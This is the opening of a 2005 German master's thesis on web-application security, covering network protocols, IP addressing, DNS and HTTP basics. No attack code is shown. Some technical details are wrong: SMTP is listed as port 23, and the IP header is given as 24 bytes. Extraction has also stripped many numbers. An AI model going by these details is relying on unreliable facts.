FACHHOCHSCHULE TRIER. Hochschule für Technik, Wirtschaft und Gestaltung University of Applied Science. Abschlußarbeit

Größe: px
Ab Seite anzeigen:

Download "FACHHOCHSCHULE TRIER. Hochschule für Technik, Wirtschaft und Gestaltung University of Applied Science. Abschlußarbeit"

Transkript

1 FACHHOCHSCHULE TRIER Hochschule für Technik, Wirtschaft und Gestaltung University of Applied Science Abschlußarbeit von Dipl. Inf. (FH) Hans-Jürgen Stemmer im Masterstudiengang Informatik zu dem Thema Web-Application Security Betreuer: Prof. Dr. A. Scheerhorn Zweitprüfer: Prof. Dr. R. Oechsle Bearbeitungszeitraum: 1. Juli-31. Dezember 2005

2 Inhalt 2 1. Einleitung und Zusammenfassung Motivation Die Grundlagen Protokolle Das ISO-OSI-Referenzmodell Repeater, Bridge, Gateway Das TCP/IP-Referenzmodell und die Internet-Protokolle TCP/IP HTTP SSL und S-HTTP Public-Key-Verschlüsselung Hashing Zertifikate Firewallsysteme Sicherheit im Protokollstack Kodierungen (von Zeichenketten) / Internationalisierung ASCII ISO-8859-x Unicode Darstellung BASE HTML Java JavaScript Eine typische Web-Anwendung Client Server GET und POST HTTP Header META-Tags Application-Server Servlets Cookies Web Bugs Sessions URL Rewriting und Hidden Values Java Server Pages (JSP) Datenbank Proxy Firewall Application-Level-Firewall Verwundbarkeiten Allgemeine Angriffe im Netzwerk Sniffing Trojanische Pferde (Trojaner)

3 Inhalt IP-Spoofing Mail-Spoofing Manipulation des IP- und TCP-Headers, IP-Dienstprogramme RIP ARP-Spoofing DNS-Angriffe Buffer-Overflow Web-spezifische Angriffe Der Unicode Exploit Unvalidated Input Broken Access Control / Authorization Broken Authentication Cross-Site-Scripting / XSS Buffer overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management Hidden Field Manipulation Parameter Tampering Backdoor and Debug Option Forceful Browsing HTTP Response Splitting Web-Trojaner Phishing Das Demonstrationssystem Komponenten, Software, Konfiguration Das Webarchiv (Securita-Website) Struts Datenbank WebScarab Schwachstellen der Demoanwendung Default Servlet / Insecure Configuration Management Backupdateien / Insecure Configuration Management snoop.jsp / Debug Option und Forceful Browsing Eingabe als Teil der Ausgabe / XSS GET-Anfrage / Parameter Tampering Hidden Field Manipulation Web-Trojaner Unverschlüsselter Aufruf der Registrierung / Broken Access Control SQL-Exception / Improper Error Handling SQL-Injection / Injection Flaw und Broken Access Control Spezielle SQL-Syntax von MySQL / Injection Flaw SQL-Injection / Injection Flaw und Broken Access Control Unverschlüsselte Passworte / Insecure Storage Autorisierung / Broken Access Control und Forceful Browsing Eingabe von HTML / XSS und Broken Authentication

4 Inhalt 4 7. Web-Application-Firewall Schutz und Kontrolle der URL Verfahren Schutz Implementierung Besonderheiten der Implementierung Probleme Schutz von Cookies (und der Session-ID) Ergänzende Maßnahmen der Anwendung Schutz und Kontrolle der Eingabe Hidden Field Manipulation Message Authentication Code (MAC) Probleme Eingabevalidierung META-Zeichen <script> und javascript: Denial of Service Schutz und Kontrolle der Ausgabe Der WebShield Track route Protect hidden values Validate parameter Angriffe, Schutz und Bewertung Anhang HTTPClient Client Server TestServlet HTMLParser hashsha Beispiel für ein schädliches Script Abkürzungsverzeichnis und Glossar Referenzen Internetlinks Technische Spezifikationen (RFC) Weiterführende Informationen im Internet Literatur

5 Einleitung und Zusammenfassung 5 1. Einleitung und Zusammenfassung Über die Universitäten hinaus ist das Internet heute zu einem bedeutenden Wirtschaftsfaktor geworden 1. Der Verbreitungsgrad in Deutschland liegt nach [40] deutlich über 50%. Immer mehr Menschen und Unternehmen machen Geschäfte (auch) über das Internet. Das Internet basiert auf den Internetprotokollen TCP und IP aus den 70er Jahren. Über diese wird das 1989 entwickelte Hypertext Transfer Protocol (HTTP) gesendet 2. Dabei werden Informationen in lesbarer (textueller) Form übertragen. Der Hypertext beschreibt Inhalt in der Hypertext Markup Language (HTML), einer hierarchisch aufgebauten Auszeichnungssprache für Internetseiten wurde mit dem Secure Socket Layer (SSL) erstmals eine Technik im Browser eingesetzt, die verhindert, dass die zwischen Sender und Empfänger ausgetauschten Texte von Dritten gelesen werden können. Der Grundlagenteil in Kapitel 3 befasst sich mit diesen und anderen technischen Entwicklungen, die im heutigen Internet zur Anwendung kommen. Immer stärker wurden visionäre Ideen zum Ausbau und zur Nutzung des Internets entwickelt. Mit diesen stiegen (und steigen) auch die technischen Anforderungen. Inzwischen ist das Portfolio auf zahlreiche Technologien angewachsen. Viele dieser Lösungen haben das Ziel, dynamische Informationen in den ursprünglich statischen HTML-Seiten unterzubringen oder die Seiten mit graphischen Elementen anzureichern. Komponenten und Konzepte, die die Komplexität des Internets und damit verbunden die Verwundbarkeit des Internets ausmachen, werden in Kapitel 4 beschrieben Neben dem Ausnutzen von Sicherheitsschwachstellen, die sich aus der geschichtlichen Entwicklung des Internets ergeben, gelingt es Angreifern Funktionen und Lücken in den komplexen Technologien und Architekturen für ihre Zwecke zu gebrauchen. Häufig sind Angriffe durch die geschickte Ausnutzung mehrerer Schwachstellen erfolgreich. In den meisten Fällen sind dazu spezielle Kenntnisse erforderlich. Ein Angreifer kann zur Übertragung von HTML statt eines Browsers jeden Client nutzen, der HTTP verwendet. Kapitel 5 beschreibt vor allem web-spezifische Verwundbarkeiten, die sich zum Teil unmittelbar aus den beschriebenen Grundlagen und Konzepten ergeben. Inhalt dieser Arbeit sind dabei Angriffe auf Webanwendungen. Angriffe gegen Computernetzwerke und Hostsysteme sowie Viren, Würmer und andere Schädlinge werden nicht besprochen. In den beschriebenen Schwachstellen und Angriffen lassen sich Unterschiede und Gemeinsamkeiten ausmachen. Einige Angriffe sind nur möglich, da die übertragenen Daten (Input) durch die Anwendung nicht (ausreichend) geprüft werden (Unvalidated Input). Auch wenn HTML Attribute enthalten kann, um Länge und Inhalt der Eingabefelder zu beschreiben, lassen sich zu einem Feldnamen über HTTP beliebige (Text-)Daten übertragen (Parameter Tampering). Auch spezielle, versteckte Felder werden im Datenstrom übertragen und können verändert werden (Hidden Field Manipulation). Ein Programm zum Schutz der 1 Auch für das Jahr 2005 rechnet der Bundesverband des Deutschen Versandhandels (bvh) mit einem Umsatzanstieg der Webshops um 24 Prozent auf 6,1 Mrd. Euro in Deutschland. [41] kann auch als Geburtsjahr des Internets angesehen werden.

6 Einleitung und Zusammenfassung 6 Anwendung kann den Attributen allerdings Informationen entnehmen, um die späteren Eingabedaten am Netzübergang zu prüfen, d. h. bevor sie zur Anwendung gelangen. Ein Angreifer kann in einem Eingabefeld HTML oder eine Scriptsprache wie JavaScript verwenden. Wird die Eingabe unverändert in der Ausgabe einer dynamischen HTML-Seite (Output) verwendet, gelangt der Inhalt des Eingabefeldes u. U. zu einem unbeteiligten Anwender, in dessen Benutzerkontext das HTML bzw. das Script dann ausgeführt wird (Cross-Site-Scripting). Scripte lassen sich jedoch im Eingabedatenstrom erkennen und blockieren. Werden Eingaben durch den Server oder weitere Subsysteme (wie Datenbanken oder eine Shell) interpretiert, kann es dem Angreifer gelingen, den Server durch seine Eingabe zu speziellen oder priviligierten Aktion zu veranlassen (Injection Flaw). Eine HTML-Seite verwendet Hyperlinks, um auf Inhalte anderer Internetressourcen zu verweisen. Unter Verwendung von Verweisen kann ein Benutzer so nur bestimmte (feste) Wege zurücklegen. Seiten, zu denen kein Verweis existiert, können theoretisch auch nicht aufgerufen werden. Ein gewöhnlicher Webserver liefert jedoch jede Ressource an den Aufrufer zurück, deren Uniform Resource Locator (URL) er auflösen kann. Ein Angreifer kann auf diese Weise z. B. Seiten laden, die für administrative Aufgaben oder Testzwecke vorgesehen sind (Backdoor und Debug) oder deren Aufruf vom Entwickler in einem völlig anderen Zusammenhang erwartet wird (Forceful Browsing). Ein Programm zum Schutz der Anwendung kann die in einer Seite enthalten Verweise verwenden, um eine dynamische Zugriffskontrolle für Ressourcen aufzubauen. Die nachfolgende Tabelle stellt die Kapitel gegenüber, in denen einzelne Angriffe erläutert und demonstriert sowie die Schutzmöglichkeiten durch einen Shield untersucht werden: Angriff Unvalidated Input Parameter Tampering Hidden Field Manipulation Web-Trojaner Injection Flaws Buffer overflow Broken Authentication Broken Authorization / Broken Access Control Denial of Service Cross-Site-Scripting / XSS Improper Error Handling Insecure Configuration Backdoor und Debug Forceful Browsing Insecure Storage Beschreibung Demo 6.3.5, , , , , , , , , 6.3.2, 6.3.3, Schutz 7.3.2, , , 7.2, ,

7 Einleitung und Zusammenfassung 7 Im Kern befaßt sich die vorliegende Arbeit in den Kapiteln 6 und 7 mit den in der Tabelle aufgeführten Angriffen gegen Internetanwendungen im Bereich ebusiness/ecommerce und Möglichkeiten den Schutz ohne Veränderung der Anwendung schon am Netzübergang zu verbessern. Dabei wird zunächst angenommen, dass ein Programm zum Schutz der Anwendung keine Kenntnisse über diese besitzt. Es wird untersucht, welchen Angriffen ein solcher Schutzschild (Web-Application-Firewall, WebShield) unter dieser Voraussetzung begegnen kann. Im weiteren Verlauf wird untersucht, unter welchen zusätzlichen Bedingungen sich weitere Angriffe erkennen und verhindern lassen. Die Untersuchung wird zeigen, dass der Einsatz einer Web-Application-Firewall am Netzübergang geeignet ist einen großen Teil der Angriffe auf Web-Anwendung zu verhindern. Dabei ist bei allen vorgeschlagenen Schutzmaßnahmen eine große Zahl von Spezialfällen zu berücksichtigen. Zu nennen sind hier einerseits die unterschiedliche Behandlung (und Interpretation) von HTML-Ressourcen durch diverse Browser. Darüber hinaus stehen für fast alle Aufgabenstellungen inzwischen mehrere Lösungen zur Verfügung. Dabei ist die Behandlung dynamischer Daten durch Scriptsprachen, CGI oder Servlets nur eines von vielen Beispielen. Jede Lösung ist mit eigenen Schwachstellen verbunden. Darüber hinaus kann eine Web-Anwendung die Schutzfunktionen eines WebShields durch den Einsatz von HTML und JavaScript mehr oder weniger einschränken. Grundsätzlich lässt sich dabei feststellen: Je mehr HTML und je weniger JavaScript desto besser. Zusätzlich zur Beschreibung der Schutzmaßnahmen wird auf spezielle Schwierigkeiten, Besonderheiten und Einschränkungen hingewiesen. Daneben werden Empfehlungen ausgesprochen, wie sich die Web-Anwendung selbst vor Angriffen schützen kann. Da ein Shield häufig keine semantische Analyse der Daten vornehmen kann, ist gerade die Validierung von Eingabedaten in der Anwendung selbst sehr viel effektiver. Einen weiteren Schwerpunkt der vorliegenden Arbeit bildet ein Demonstrationssystem, an dem sich die beschriebenen Schwachstellen, Angriffsszenarien und Gegenmaßnahmen vorführen lassen und ein Programm zum Schutz vor diesen Angriffen am Netzübergang. Kapitel 6 beschreibt die technischen Grundlagen sowie die Softwareentwicklungsumgebung (SEU) der beiden Anwendungen und das Programm WebScarab, das die Basis des Shields bildet und auf dem Client als Testwerkzeug verwendet werden kann. Nach der Beschreibung der Schutzfunktionen in Kapitel 7 wird der Shield vorgestellt und in seiner Funktionalität beschrieben. Die Ergebnisse werden in Kapitel 8 in Tabellenform zusammengefasst. Dabei sind den in Kapitel 5 beschriebenen Schwachstellen die Schutzmaßnahmen auf Kapitel 7 und die Demonstration in der Anwendung (Kapitel 6) zugeordnet.

8 Motivation 8 2. Motivation Entstanden aus dem ARPA-Net in den 70er Jahren gewinnt das Internet immer mehr an Bedeutung 3. Die Erschließung neuer Absatzmöglichkeiten sowie Anforderungen und Erwartungen von Kunden und Partnern veranlassen immer mehr Unternehmen ihre Netze und internen Anwendungen gegenüber dem Internet zu öffnen. Doch die kommerzielle Nutzung war in den Anfängen des Internets gar nicht vorgesehen. Viele der in den Anfängen entwickelten Technologien (z. B. TCP/IP) bilden noch heute das Rückgrat des Netzes. Einige Problemlösungen wiederum (z. B. asymmetrische Verschlüsselungsverfahren) waren zum damaligen Zeitpunkt noch gar nicht gefunden 4. Somit fehlen auch schon auf den unteren Protokollschichten Mechanismen zum Schutz der Verbindung. Einige Konzepte basieren auf der Annahme, dass der Partner schlicht vertrauenswürdig ist. Konzepte zur Authentifizierung (Wer bin ich?) und Autorisierung (Was darf ich?) fehlen völlig. Inzwischen sind solche Mechanismen zwar breit verfügbar, doch sind die angebotenen Lösungen vielfältig und meist proprietär. SSL (eine Entwicklung von Netscape) wird inzwischen wohl von allen Browsern unterstützt und ist seit 1999 als TLS standardisiert. Daneben kommen andere Methoden der Kryptographie, verschiedene Arten von Firewalls, Intrusion-Detection-Systeme, etc. zum Einsatz. Die Angst vor Viren, Trojanern, Würmern und anderen Schädlingen geht um. Kaum ein Anwender versteht die Sicherheitslücken seines Systems oder installiert die regelmäßigen Updates für Betriebssystem, Virenscanner oder Browser. Während 1983 Matthew Broderick in dem Film WarGames herausfinden konnte, dass die einzige Möglichkeit das Spiel zu gewinnen, die ist, es nicht zu spielen, müsste er heute wohl aufgeben. Am Internet kommt man nicht mehr vorbei. Schüler recherchieren im Web, Vorlesungsunterlagen gibt es zum downloaden, Banken senken ihre Gebühren für Online- Konten, das Finanzamt bietet ELSTER. In nahezu jeder Werbung erscheint auch eine Internet-Adresse und bei ebay gibt es nichts, was es nicht gibt. Schon vor Jahren war abzusehen, dass die Menge der verfügbaren IP-Adressen den Bedarf nicht decken würde. IPv4 wurde durch einen neuen Standard ergänzt. Statt der bekannten vier Bytes stehen bei IPv6 nun 16 Bytes für die Adressierung zur Verfügung. Auch die Bandbreiten werden immer größer. DSL ist schon lange kein Luxus mehr. Über das Internet kann man telefonieren, VPN ersetzt teure Standleitungen und auf dem Marktplatz gibt es kostenlose Zugangsknoten für WLAN. Aber die steigende Komplexität geht auch an der Softwareentwicklung nicht vorbei. Sicherheitslücken und Verwundbarkeiten treten an vielen Stellen auf, da die Architekturen in immer mehr Schichten zerfallen. Eine normale Anfrage im Internet geht vom Browser über den Provider durch das Web (in dem in Form von Routern weitere Maschinen beteiligt sind) 3 Insgesamt erwirtschafteten deutsche Internetshops 2004 mit rund Angestellten 12 Milliarden Euro [38]. Nach einer Umfrage der 1&1 Internet AG bei kleinen und mittelständischen Unternehmen gab ein Drittel der beteiligten Unternehmen an, mit Hilfe des eigenen Webauftritts über 20 Prozent der Umsätze erzielt zu haben [39]. 4 Diffie-Hellman-Schlüsselaustausch, 1976; RSA-Kryptosystem, 1977

9 Motivation 9 und (möglicherweise) über Proxy und Firewall des Anbieters zu dessen Web-Server. Unter Umständen leitet dieser die Anfragen an einen Application-Server weiter, der sich wiederum bei einer Datenbank die angefragten Daten beschafft. Die erzeugte Antwort geht dann den weiten Weg zurück zum Anwender. In Firmen verteilt sich die Zuständigkeit für die Infrastruktur nicht selten auf unterschiedliche Abteilungen. Oft fehlt auch einfach das Wissen um mögliche Schwachstellen der Anwendung. Täglich werden im Internet neue Sicherheitslücken in der eingesetzten Hardund Software bekannt. Oft werden diese Informationen viel eher vom Angreifer gelesen als von einem Mitarbeiter, der mit vielen anderen Aufgaben ohnehin überlastet ist. Und die meisten Entwicklungsabteilungen halten ohnehin eisern an der einen goldenen Regel fest: Never change a running system. Eine völlig sichere Anwendung kann es nicht geben. Vielen Angriffen kann jedoch mit relativ einfachen Mitteln erfolgreich begegnet werden. Dazu ist allerdings neben der Kenntnis der Abwehrmaßnahmen ein Verständnis möglicher Schwachstellen und Angriffe erforderlich.

10 Grundlagen Die Grundlagen 3.1. Protokolle Verbindet man zwei Rechner mit gleicher Architektur, kommunizieren einander entsprechende Schichten über einen Satz festgelegter Regeln. Man spricht von einem Protokoll. [GLA94] Das Kommunikationsprotokoll im Internet (und im Intranet) ist das Internet-Protokoll. Seine Adressstruktur und Übertragungsmechnismen sind die Grundlage für den gesamten Datentransport, seien es Texte oder Telefongespräche. Dahinter allerdings verbirgt sich eine ganze Familie von Protokollen und Funktionen (engl.: internet protocol suite), die teilweise schon in den siebziger Jahren entwickelt wurden. Das Ziel war die gesicherte Vermittlung von Datenpaketen über mehrere Punkt-zu-Punkt- Verbindungen (Hops) und zwischen den heterogenen Systemen eines Wide Area Networks. Zwar wurde bei der Entwicklung der Internet-Technik auf Sicherheit in Form von Ausfallsicherheit großen Wert gelegt, Übertragungssicherheit in Form von Verschlüsselung oder verlässlicher gegenseitiger Identifizierung war jedoch kein Thema von Bedeutung. Durch die Offenheit von TCP/IP und als Bestandteil der Berkeley Unix Version 4.2 (1984) wurde TCP/IP zum Industrie-Standard für die Vernetzung unterschiedlicher Systeme. Historisch bedingt sind die Protokolle der Internet-Protokoll-Familie nicht nach dem heute üblichen ISO-OSI-Referenzmodell aufgebaut. Das TCP/IP-Referenzmodell ist gröber, weniger streng geschichtet und erlaubt den Zugriff von einzelnen Schichten auf beliebige andere, auch höhere Schichten, was eine eindeutige Einordnung in Schichten für einige Protokolle unmöglich macht. Da zur Betrachtung der Netzwerkkommunikation im Allgemeinen das ISO-OSI- Referenzmodell verwendet wird, soll auch dieses mit seinen sieben Schichten kurz skizziert werden. Das ISO-OSI-Schichtenkonzept ist strenger als das von TCP/IP. Der Funktionsumfang und die Dienste, die jede Schicht für die nächsthöhere zu erbringen hat, sind genau festgelegt. Abb. 1 zeigt eine Gegenüberstellung der beiden Modelle Das ISO-OSI-Referenzmodell Im ISO-OSI-Referenzmodell [Abb. 1 links] von 1977 bilden die Schichten 1 und 2 die Hardware-Ebene, also die Grundlage höherer Funktionen des Netzes. Die wichtigen Schnittstellen zur physikalischen Verkabelung (wie Bus, Ring oder Stern) sind durch den IEEE-Standard der 802-Serie genau beschrieben. Dadurch wird die Kompatibilität der Produkte verschiedener Hersteller erreicht. Eine Nachricht durchläuft, von der Anwendung aus gesehen, die Protokollschichten (Protokollstack) von oben nach unten. Jede Schicht wird, neben ihren originären Aufgaben, ein Datenpaket ggf. in kleinere Pakete zerteilen und mit einem spezifischen Rahmen versehen, in dem sie Steuer- und Zustandsinformationen ablegt. Das so entstandene neue Datenpaket wird an die nächste (tiefere) Schicht weitergereicht. Am Ende des Protokollstacks angelangt, werden die Datenpakete physikalisch übertragen. Um zum eigentlichen Ziel der

11 Grundlagen 11 Anwendung zu gelangen, durchlaufen die Pakete auf dem Zielrechner die Schichten in umgekehrter Reihenfolge. Jedes Protokoll entfernt seinen Rahmen und setzt Pakete ggf. wieder zu einem Ganzen zusammen. Man spricht in diesem Zusammenhang von Transparenz, da sowohl Anwendung als auch Protokollschichten davon ausgehen können, dass ein Paket (auf der korrespondierenden Schicht) so beim Empfänger eintrifft, wie es abgeschickt wurde. Die Bitübertragungsschicht beschäftigt sich mit der Übertragung der Bits sowie Eigenschaften des Mediums und der Anschlüsse. Die Verbindungssicherungsschicht betrachtet im wesentlichen Zweipunktverbindungen. Ihre Aufgabe ist es, die übertragenen Rohdaten in "data frames" aufzuteilen, die ohne Übertragungsfehler an die Vermittlungsschicht weitergegeben werden. Die Sicherungsschicht zerfällt in die Teilschichten Zugangssteuerung zum Übertragungsmedium MAC (Medium Access Control 5 ) und Steuerung des logischen Übermittlungsabschnittes LLC (Logical Link Control). Die Schichten 3 bis 5 liegen zwischen Anwendungsprogramm, Netzbetriebssystem und Adapterkarte. Protokolle wie TCP/IP und SPX/IPX sind hier angesiedelt. Die Vermittlungsschicht ist zuständig für die Auswahl der Paketleitwege (Routing) vom Ursprungs- zum Bestimmungsort. Die Verbindung kann über eine unbestimmte Anzahl von Zwischenknoten verlaufen. Probleme können entstehen, wenn die Adressierung in den Netzen unterschiedlich ist oder das Paket Anforderungen (max. Größe, bestimmtes Protokoll) im Netz des Empfängers nicht erfüllt. Alle diese Probleme müssen in der Vermittlungsschicht bewältigt werden, damit heterogene Systeme miteinander in Verbindung treten können. Die Transportschicht stellt eine lückenlose Ende-zu-Ende-Beziehung her, zerlegt Datenpakete, wenn nötig, in kleinere Einheiten und stellt sicher, dass sie vollständig beim Empfänger ankommen. Die Kommunikationssicherungsschicht beschreibt einen geregelten Dialog zwischen Applikationen. Sie koordiniert Auf- und Abbau von Verbindungen, stellt Hilfsmittel zur Synchronisation zur Verfügung und ermöglicht durch das Setzen von Checkpoints eine ordentliche Fortsetzung der Kommunikation im Fehlerfall. Die Darstellungsschicht sorgt für eine Anpassung der Daten an Standardformate. Die abstrakten Daten (abstrakte Syntax) der Anwendungsschicht werden in einen Bytestrom (Transfersyntax) übersetzt und an die Kommunikationssicherungsschicht gereicht. Kompatibilitätsprobleme (z. B. zweier Textverarbeitungen) durch Komprimierung, Verschlüsselung oder Kodierung (Zeichensatz) sind aufzulösen. Die Anwendungsschicht ist die Schnittstelle zur eigentlichen Anwendung und enthält eine Vielzahl von häufig benötigten Protokollen. In dieser Schicht werden die anwendungsorientierten Aufgaben (File-Transfer, Mailing) definiert. 5 Jede Netzwerkkarte hat eine weltweit eindeutige MAC-Adresse.

12 Grundlagen Repeater, Bridge, Gateway In die Schichten des ISO-OSI-Modells lassen sich auch Netzwerkkomponenten einordnen: So ist ein Repeater ein Bauteil, dass auf Schicht 1 des Modells Signale in ein und demselben LAN verstärkt. Eine Bridge arbeitet auf Schicht 2 und verbindet eigentlich Netze gleicher Topologie. Vermittlungsentscheidungen fallen dort aufgrund der physikalischen Netzwerkadressen. Durch Bridges, die selbständig Wegetabellen erstellen, können Subnetze angelegt werden. Auf der LLC-Schicht verbinden Bridges auch heterogene Netze wie Ethernet und Token-Ring. Ein Router (oder Gateway) operiert auf Schicht 3 des OSI-Modells und kann unterschiedliche Topologien verbinden. Datenpakete werden dazu bis zur Vermittlungsschicht des Protokollstacks entpackt und zum Beispiel über eine andere Netzwerkkarte in ein anderes (Teil-)Netz weitergereicht. Über eine lokale Routingtabelle kann der Router dazu die Richtungsentscheidungen treffen. Spezielle Protokolle halten die Routingtabelle aktuell. Modular aufgebaute Router können mit Netzwerkschnittstellen zu unterschiedlichen Netzen ausgestattet werden. Sie unterstützen dann die Protokolle der Transportschicht sowie die gewählten Protokolle der Sicherungschicht. Die meisten Firewallsysteme arbeiten auf der Vermittlungsschicht Das TCP/IP-Referenzmodell und die Internet-Protokolle Abb 1.: Gegenüberstellung der Referenzmodelle nach [14] Das TCP/IP-Referenzmodell [Abb. 1 rechts] ist auf die Internet-Protokolle zugeschnitten. Da es unter Umgehung zwischenliegender Schichten den direkten Zugriff auf andere Schichten erlaubt, ist es erheblich effizienter als die OSI-Protokolle. Es wird weder der Zugriff auf ein Übertragungsmedium noch die Datenübertragungstechnik definiert. Die Netztopologien, über die Internetprotokolle übertragen werden können, reichen von lokalen Netzen wie Ethernet, Token-Ring oder FDDI über Weitverkehrsnetze wie X.25 bis zu ISDN und analogen Telefonleitungen (PPP oder SLIP).

13 Grundlagen 13 Eine sehr detaillierte Darstellung der Internetprotokolle zeigt die folgende Abbildung: 3.2. TCP/IP Abb. 2: Die Internetprotokollfamilie; Bild aus [KYA98] In zentraler Stellung befindet sich dabei das Internetprotokoll (IP). Jedes Datenpaket wird vom Internet-Protokoll IP als ein einziges vollkommen unabhängiges Datenpaket durch das Netz vom Sender zum Empfänger übermittelt. Bei IP findet kein Verbindungsaufbau oder -abbau statt. IP stellt auch keine gesicherte Verbindung zur Verfügung. Statt dessen wird davon ausgegangen, dass die Verbindungskontrolle von höheren Protokollen durchgeführt wird. Der 24 Byte lange Header eines IP-Datenpaketes enthält unter anderem 2 Byte für die Gesamtlänge (also maximal 64 KByte 6 ) und je 4 Byte für Sende- und Empfangs-Adresse. Ein anderes Byte ist das sogenannte TTL-Byte (Time-to-live), welches an jedem Knoten (Hop) dekrementiert wird. Erreicht der Wert Null, kommt es zur automatisch Vernichtung des Datenpaketes. So wird verhindert, dass Pakete ewig im Internet kreisen. Das zweite zentrale Internet-Transportprotokoll ist das auf IP aufbauende Transmission Control Protocol (TCP). Der wichtigste Unterschied zu IP ist, dass TCP die Daten im Rahmen einer virtuellen Verbindung garantiert überträgt. Geht ein Datenpaket verloren, so wird seine wiederholte Übertragung angefordert. Die Adressierung auf der Ebene von TCP erfolgt über sogenannte Sende- und Empfangsports. Anschaulich kann man sich einen Port als Zimmernummer in einem Haus (eindeutig durch IP-Adresse) vorstellen. Die Portadressen für frei zugängliche Dienste im Internet (well known 6 Die zulässige Paketlänge ist auch abhängig von der Übertragungsschicht. In lokalen Netzen vom Typ Ethernet beträgt die maximale Nutzlast pro Paket beispielsweise nur 1500 Bytes.

14 Grundlagen 14 ports) wie WWW (80), SMTP (23) oder FTP (21) sind festgelegt und international bekannt. Multitaskingfähige Systeme sind in der Lage, mehrere Kommunikationsprozesse gleichzeitig abzuwickeln. Die Kombination aus Adresse, Port und Transportprotokoll als Endpunkt einer Verbindung wird als Socket bezeichnet. Eine IP-Adresse ist vier Bytes lang und darf im gesamten IP-Netz nur einmal vergeben werden. In privaten Netzen ist der Administrator in der Adressenvergabe frei. Soll über ein Gateway allerdings eine Anbindung an das öffentliche Internet erfolgen, muss die Adresse weltweit eindeutig sein. IP-Adressen werden üblicherweise in der Form x.x.x.x angegeben, wobei die Zahlen dezimal, oktal oder hexadezimal angegeben werden können 7. Die Adresse 127.x.x.x ist für die Loopback-Funktion aller Rechner reserviert und dient internen Tests. Der Wert 255 ist als Broadcast-Adresse reserviert. Der Rechneradresse (s. u.) wird zur Adressierung aller Rechner im Netz auf 255 gesetzt. Alle Rechner in allen Netzen werden entsprechend mit adressiert. Früher wurde der Wert 0 als Broadcast-Adresse verwendet. Die derzeit gültige Definition bezeichnet mit 0 das eigene Netz bzw. den eigenen Rechner. IP-Adressen sind in fünf Klassen unterteilt: Die Klasse A beginnt immer mit dem Bit 0. Der Wertebereich des ersten Bytes wird so auf Werte von 0 bis 127 eingeschränkt (zum Gebrauch 1 bis 126). Die Bytes 2-4 bezeichnen die Rechneradresse (256 3 ). Die 126 Adressen der Klasse A sind alle vergeben. Adressen der Klasse B ordnen der Netzwerkadresse zwei Bytes zu und beginnen mit den Bits 10. Das erste Byte kann also Werte zwischen 128 und 191 annehmen. Die Bytes 3 und 4 bieten in der Klasse B nach Möglichkeiten den Rechner zu adressieren. In der Klasse C adressieren die ersten drei Bytes das Netzwerk und das letzte Byte den Rechner. Das erste Byte beginnt mit den Bits 110 und legt damit Werte zwischen 192 und 223 fest. Der Wertebereich für das erste Byte der Klasse D liegt durch die Bits 1110 zwischen 224 und 239 und ist für Multicast-Adressen vorgesehen. Eine Unterteilung in Netzwerk- und Rechneradresse findet nicht statt. In der Klasse E sind die ersten vier Bits mit 1111 festgelegt. Der Adressbereich zwischen 240 und 255 ist für zukünftige Adressierungen vorgesehen. Zusätzlich zu den IP-Adressen verwendet TCP/IP Subnetzmasken, die als Entscheidungshilfe für das Routing dienen. Zu diesem Zweck wird eine UND-Verknüpfung sowohl der eigenen Adresse als auch der Zieladresse mit der Subnetzmaske durchgeführt. Sind die Ergebnisse gleich, befindet sich die Zieladresse im gleichen Subnetz und kein Routing ist erforderlich. Anders als TCP baut UDP (User Datagram Protocol) keine virtuelle Verbindung auf und erkennt den Verlust eines Paketes nicht. In der Praxis spielt es eine untergeordnete Rolle. Da für Protokolle und Dienste der Anwendungsschicht die Funktionalität tiefer liegender Schichten transparent ist, können Nachrichten in Textform übertragen werden. So bauen 7 Statt der üblichen Schreibweise ist aber auch eine normale Zahlendarstellung möglich entspricht zum Beispiel der Dezimalzahl

15 Grundlagen 15 Telnet und FTP auf TCP auf. Telnet beschreibt Regeln, zur Kommunikation zwischen Terminal und Rechner und bietet die Möglichkeit von einer Stelle aus auf mehreren Rechnern zu arbeiten (Remote Login). Über das File Transfer Protocol FTP können Dateien unabhängig von Bauweise und Betriebssystem der Rechner ausgetauscht werden. Zur Übertragung von elektronischen Nachrichten wird das Simple Mail Transfer Protokol (SMTP) verwendet. Da Zahlenkolonnen für die meisten Menschen nicht gut zu handhaben sind, wurde ein hierachisches Namenskonzept entwickelt, nach dem numerische Internetadressen einem Domänennamen zugeordnet werden können. Die Punkte in der Notation der Adressnamen haben dabei keinen Bezug zu den Punkten in der Schreibweise von IP-Adressen. Das Domain Name System (DNS) stellt eine im gesamten Internet verteilte Datenbank dar, auf die mit Hilfe des DNS-Protokolls zugegriffen wird. Vergleichbar ist dies mit einer Sammlung von Telefonbüchern, durch die die Namen der Teilnehmer in ihre Telefonnummern aufgelöst werden (forward lookup), wobei auch die inverse Suche von Teilnehmern zu einer Nummer möglich ist (reverse lookup). Ein Domänenname wird von rechts nach links aufgelöst. Der am weitesten rechts stehende Namensteil wird als Top Level Domain bezeichnet (z.b. com, org, de). Kann ein Domain Name System eine Adresse (Anfrage) nicht auflösen leitet er sie an ein bekanntes höchstrangiges DNS weiter, das die Delegation (und Auflösung) mit der Top Level Domain beginnt. Darüber hinaus ermöglicht das DNS eine Entkopplung von IP-Adresse und Domänennamen. Ändert sich eine IP-Adresse, bedarf es nur einer Änderung im DNS um die Adresse bekannt zu machen. Freie Domänennamen können auf einfache Art und Weise von jedem registriert werden. Möglich wäre auch, wechselnde Adressen bei Namendiensten selbst zu registrieren, da Provider für Wählverbindungen auf einen Adressenpool zurückgreifen HTTP HTTP ist das im World Wide Web verwendete Protokoll zur Übertragung von HTML- Dokumenten. Dabei ist HTML (Hyper Text Markup Language) die Beschreibungssprache der meisten Internet-Dokumente. Obwohl HTTP 1.1 immer versucht, den vorhandenen Socket weiter zu verwenden, ist eine Anfrage mit der Antwort vom Server abgeschlossen, d. h. beide Seiten vergessen, dass sie miteinander gesprochen haben. HTTP ist ein textbasiertes, zeilenorientiertes Protokoll. Eine Zeile wird durch einen Zeilenvorschub (CR/LF) abgeschlossen. Folgende Zeilen fordern die Eingangsseite der Demonstration an: GET HTTP/1.1 Accept: image/gif, image/jpeg, */* Accept-Language: de User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Host: Connection: Keep-Alive Die Antwort vom Server (ohne den HTML-Content) ist: HTTP/ OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=81887E431FA79DF2E6655A1EDF315; Path=/securita Content-Type: text/html;charset=iso

